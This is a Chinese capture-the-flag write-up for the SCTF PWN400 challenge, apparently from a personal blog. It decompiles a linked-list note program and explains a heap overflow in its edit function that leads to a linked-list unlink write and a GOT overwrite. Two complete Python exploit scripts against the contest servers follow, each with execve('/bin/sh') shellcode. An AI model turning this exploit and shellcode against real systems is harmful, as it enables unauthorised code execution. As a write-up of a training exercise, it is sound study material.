SCTF PWN400 WriteUp

Reading time ~1 minute

说句实在的,就我个人而言,这题相对于PWN的前两题而言,要简单得多,当时本来还剩的时间不多,于是受前面的PWN的题的影响,我这题都没看,觉得来不及了,先去做的Code500,然后最后Code500完成了,还剩两小时的时候,我就来看了下这题,然后一看就激动,这么简单,赶快开始搞,虽说还是搞了一个多小时才过掉,不过好在是在比赛结束前搞定没出啥岔子……

首先还是给出IDA反编译的结果:

int __cdecl show_hint_and_get_choice()
{
  unsigned __int8 v1; // [sp+1Fh] [bp-9h]@2

  write(1, "1.New noten", 0xBu);
  write(1, "2.Show notes listn", 0x12u);
  write(1, "3.Show noten", 0xCu);
  write(1, "4.Edit noten", 0xCu);
  write(1, "5.Delete noten", 0xEu);
  write(1, "6.Quitn", 7u);
  write(1, "option--->> ", 0xCu);
  do
    v1 = getchar();
  while ( v1 == 10 );
  return v1;
}

int __cdecl new_note(int a1)
{
  void *v2; // [sp+1Ch] [bp-Ch]@1

  v2 = malloc(0x16Cu);
  write(1, "nnote title:", 0xCu);
  read(0, (char *)v2 + 12, 0x3Fu);
  write(1, "note type:", 0xAu);
  read(0, (char *)v2 + 76, 0x1Fu);
  write(1, "note content:", 0xDu);
  read(0, (char *)v2 + 108, 0xFFu);
  *(_DWORD *)v2 = v2;
  write(1, "nn", 2u);
  if ( *(_DWORD *)a1 )
  {
    *((_DWORD *)v2 + 2) = *(_DWORD *)a1;
    *(_DWORD *)(*(_DWORD *)a1 + 4) = v2;
    *((_DWORD *)v2 + 1) = 0;
    *(_DWORD *)a1 = v2;
  }
  else
  {
    *(_DWORD *)a1 = v2;
    *((_DWORD *)v2 + 1) = 0;
    *((_DWORD *)v2 + 2) = 0;
  }
  return 0;
}

int __cdecl show_notes_list(int a1)
{
  size_t v1; // eax@3
  size_t v2; // eax@3
  size_t v3; // eax@4
  int result; // eax@6
  int v5; // [sp+34h] [bp-64h]@3
  signed int v6; // [sp+38h] [bp-60h]@3
  char s; // [sp+3Ch] [bp-5Ch]@1
  int v8; // [sp+7Ch] [bp-1Ch]@1

  v8 = *MK_FP(__GS__, 20);
  memset(&s, 0, 0x40u);
  if ( a1 )
  {
    v5 = *(_DWORD *)(a1 + 8);
    v6 = 2;
    v1 = strlen((const char *)(a1 + 12));
    snprintf(&s, v1 + 10, "%d. %sn", 1, a1 + 12);
    v2 = strlen(&s);
    write(1, &s, v2);
    while ( v5 )
    {
      v3 = strlen((const char *)(v5 + 12));
      snprintf(&s, v3 + 10, "%d. %sn", v6, v5 + 12);
      write(1, &s, 0x40u);
      ++v6;
      v5 = *(_DWORD *)(v5 + 8);
    }
  }
  else
  {
    write(1, "ntotal: 0nn", 0xBu);
  }
  result = *MK_FP(__GS__, 20) ^ v8;
  if ( *MK_FP(__GS__, 20) != v8 )
    __stack_chk_fail();
  return result;
}

int __cdecl show_note(int a1)
{
  size_t v1; // eax@4
  size_t v2; // eax@5
  size_t v3; // eax@5
  size_t v4; // eax@5
  size_t v5; // eax@5
  int result; // eax@8
  int v7; // [sp+2Ch] [bp-5Ch]@1
  char s[4]; // [sp+32h] [bp-56h]@5
  int v9; // [sp+36h] [bp-52h]@5
  __int16 v10; // [sp+3Ah] [bp-4Eh]@5
  char buf; // [sp+3Ch] [bp-4Ch]@1
  int v12; // [sp+7Ch] [bp-Ch]@1

  v12 = *MK_FP(__GS__, 20);
  v7 = a1;
  memset(&buf, 0, 0x40u);
  if ( a1 )
  {
    write(1, "note title:", 0xBu);
    read(0, &buf, 0x3Fu);
    while ( v7 )
    {
      v1 = strlen(&buf);
      if ( !strncmp(&buf, (const char *)(v7 + 12), v1) )
      {
        write(1, "title:", 6u);
        v2 = strlen((const char *)(v7 + 12));
        write(1, (const void *)(v7 + 12), v2);
        write(1, "location:", 9u);
        *(_DWORD *)s = 0;
        v9 = 0;
        v10 = 0;
        snprintf(s, 0x14u, "%p", v7);
        v3 = strlen(s);
        write(1, s, v3);
        write(1, "ntype:", 6u);
        v4 = strlen((const char *)(v7 + 76));
        write(1, (const void *)(v7 + 76), v4);
        write(1, "content:", 8u);
        v5 = strlen((const char *)(v7 + 108));
        write(1, (const void *)(v7 + 108), v5);
        write(1, "nn", 2u);
        break;
      }
      v7 = *(_DWORD *)(v7 + 8);
    }
  }
  else
  {
    write(1, "no notes", 8u);
  }
  result = *MK_FP(__GS__, 20) ^ v12;
  if ( *MK_FP(__GS__, 20) != v12 )
    __stack_chk_fail();
  return result;
}

int __cdecl edit_note(int a1)
{
  size_t v1; // eax@4
  int result; // eax@8
  int v3; // [sp+28h] [bp-410h]@1
  char buf; // [sp+2Ch] [bp-40Ch]@1
  int v5; // [sp+42Ch] [bp-Ch]@1

  v5 = *MK_FP(__GS__, 20);
  memset(&buf, 0, 0x400u);
  v3 = a1;
  if ( a1 )
  {
    write(1, "note title:", 0xBu);
    read(0, &buf, 0x400u);
    while ( v3 )
    {
      v1 = strlen(&buf);
      if ( !strncmp(&buf, (const char *)(v3 + 12), v1) )
        break;
      v3 = *(_DWORD *)(v3 + 8);
    }
    write(1, "input content:", 0xEu);
    read(0, &buf, 0x400u);
    strcpy((char *)(v3 + 108), &buf);
    write(1, "succeed!", 8u);
    puts((const char *)(v3 + 108));
  }
  else
  {
    write(1, "no notes", 8u);
  }
  result = *MK_FP(__GS__, 20) ^ v5;
  if ( *MK_FP(__GS__, 20) != v5 )
    __stack_chk_fail();
  return result;
}

int __cdecl delete_note(int a1)
{
  int v1; // ST28_4@8
  int v2; // ST2C_4@8
  int result; // eax@10
  __int32 ptr; // [sp+24h] [bp-24h]@3
  int buf; // [sp+32h] [bp-16h]@1
  int v6; // [sp+36h] [bp-12h]@1
  __int16 v7; // [sp+3Ah] [bp-Eh]@1
  int v8; // [sp+3Ch] [bp-Ch]@1

  v8 = *MK_FP(__GS__, 20);
  buf = 0;
  v6 = 0;
  v7 = 0;
  if ( *(_DWORD *)a1 )
  {
    write(1, "note location:", 0xEu);
    read(0, &buf, 8u);
    ptr = strtol((const char *)&buf, 0, 16);
    if ( *(_DWORD *)ptr == ptr )
    {
      if ( *(_DWORD *)a1 == ptr )
      {
        *(_DWORD *)a1 = *(_DWORD *)(*(_DWORD *)a1 + 8);
      }
      else
      {
        if ( *(_DWORD *)(ptr + 8) )
        {
          v1 = *(_DWORD *)(ptr + 8);
          v2 = *(_DWORD *)(ptr + 4);
          *(_DWORD *)(v2 + 8) = v1;
          *(_DWORD *)(v1 + 4) = v2;
        }
        else
        {
          *(_DWORD *)(*(_DWORD *)(ptr + 4) + 8) = 0;
        }
      }
      write(1, "succeed!nn", 0xAu);
      free((void *)ptr);
    }
  }
  else
  {
    write(1, "no notes", 8u);
  }
  result = *MK_FP(__GS__, 20) ^ v8;
  if ( *MK_FP(__GS__, 20) != v8 )
    __stack_chk_fail();
  return result;
}

void __cdecl main()
{
  int v0; // [sp+1Ch] [bp-4h]@1

  v0 = 0;
  while ( 1 )
  {
    switch ( (char)show_hint_and_get_choice() )
    {
      case 49:
        new_note(&v0);
        break;
      case 50:
        show_notes_list(v0);
        break;
      case 51:
        show_note(v0);
        break;
      case 52:
        edit_note(v0);
        break;
      case 53:
        delete_note(&v0);
        break;
      case 54:
        exit(0);
        return;
      default:
        write(1, "choose a opt!n", 0xEu);
        break;
    }
  }
}

我们可以发现,它是维护了一个链表,链表的每个节点就是一个note,再联想一下前面两题PWN,一个栈溢出,一个格式化字符串漏洞,这题十有八九就是一个堆溢出的思想,不过就是把链表自己实现了而已。仔细观察一下程序,我们可以发现,它在new note的时候,做了严格的长度验证,没有溢出的机会,但是在edit note的时候,给出的长度值为0x400u,明显远大于需要的长度,那么这里无疑就是我们溢出的地方。通过溢出,修改链表中一个节点的prev和next指针为特定的值,这样,删除这个节点的时候我们就可以获得一次dword shooting的机会了。

然后再就是改哪里的问题,这题并没有随题附上一个libc.so,然后我们一看会发现,这题竟然是可运行的堆栈,这也就是为什么我觉得这题比前两题要简单的原因了,我们直接将shellcode放在某一个note中,然后修改GOT表,使得修改完后下一次函数调用的时候执行我们的shellcode即可。

下面是我比赛时的代码:

#!/usr/bin/env python
#encoding:utf-8
import socket
import binascii
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('218.2.197.248', 10003))
for i in xrange(3):
    s.send('1n')
    s.recv(100)
    s.send(str(i) + 'n')
    s.recv(100)
    s.send(str(i) + 'n')
    s.recv(100)
    s.send(str(i) + 'n')
    s.recv(100)
s.send('3n')
s.recv(100)
s.send('0n')
ret = s.recv(4096)
while ret.find('location:') == -1:
    ret += s.recv(4096)
print ret
ret = ret[ret.find('location:') + 11:]
ret = ret[:ret.find('n')]
addr = int(ret, 16)
payload = 'xebx06' + 'a' * 6 + "jx0bXx991xc9Rh//shh/binx89xe3xcdx80"
payload += 'a' * (260 - len(payload))
payload += binascii.unhexlify('%08x' % (addr + 0x170))[::-1]
payload += 'x70xa4x04x08'
payload += binascii.unhexlify('%08x' % (addr + 108))[::-1]
s.send('4n')
s.recv(100)
s.send('0n')
s.recv(100)
s.send(payload + 'n')
s.recv(100)
s.send('5n')
s.recv(100)
s.send('%08x' % (addr + 0x170) + 'n')
s.recv(100)
s.send('cat /home/pwn3/flag/flagn')
s.recv(100)

先是3次new note,构建一个3个note的链表,然后show note查看这些note的地址,计算出需要的payload后,通过edit note修改第一个note,溢出改掉第二个note的prev和next指针,最后调用delete note删除第二个note,就可以成功拿到shell。

只能说,这次的PWN真的就是三种类型的基础题一样一个,不过把一个最水的放最后,我也是醉了……

pwn400.zip


XCTF上了个OJ,把之前的比赛题又架了起来,于是将代码重写了下:

#!/usr/bin/env python
#encoding:utf-8

import zio
from time import sleep

def NOPS(n):
    return 'x90' * n

def PADDING(s, n):
    return s + NOPS(n - len(s))

# TARGET = './pwn400'
TARGET = ('218.2.197.235', 10103)

DELAY = 0.1
JMP06 = 'xebx06'
SHELLCODE = "jx0bXx991xc9Rh//shh/binx89xe3xcdx80"

NOTE_SIZE = 0x170
CONTENT_OFFSET = 108
WRITE_GOT = 0x0804a478

def RAW_WITH_DELAY(s):
    sleep(DELAY)
    return str(s)


# create three new notes
io = zio.zio(TARGET, print_write=RAW_WITH_DELAY, print_read=True)
for i in xrange(3):
    io.writelines(['1', str(i), str(i), str(i)])
io.read_until_timeout()

# get address of the new notes
io.writelines(['3', '0'])
io.read_until('location:0x')
first_note = int(io.readline(), 16)
second_note = first_note + NOTE_SIZE

# overwrite the pointer of the linked list
payload = PADDING(JMP06 + NOPS(6) + SHELLCODE, NOTE_SIZE - CONTENT_OFFSET)
payload += zio.l32(second_note) + zio.l32(WRITE_GOT - 8) + zio.l32(first_note + CONTENT_OFFSET)
io.writelines(['4', '0', payload])
sleep(1)
# trigger by delete note
io.writelines(['5', '%08x' % second_note])
io.interact()

挂载网络文件夹后网络故障时文件操作命令卡死

挂载 NFS 或者 Samba 的时候,经常会由于网络故障导致挂载好的链接断掉。此时如果尝试进行 ls、cd、df 等各种命令,只要与此目录沾上边,就会卡住。如果使用了类似 oh-my-zsh 这种配置的,只要在网络目录中,弹出命令提示符前就会直接卡住。这个时候第一反应就是...… Continue reading

路由折腾记 第四弹

Published on September 02, 2017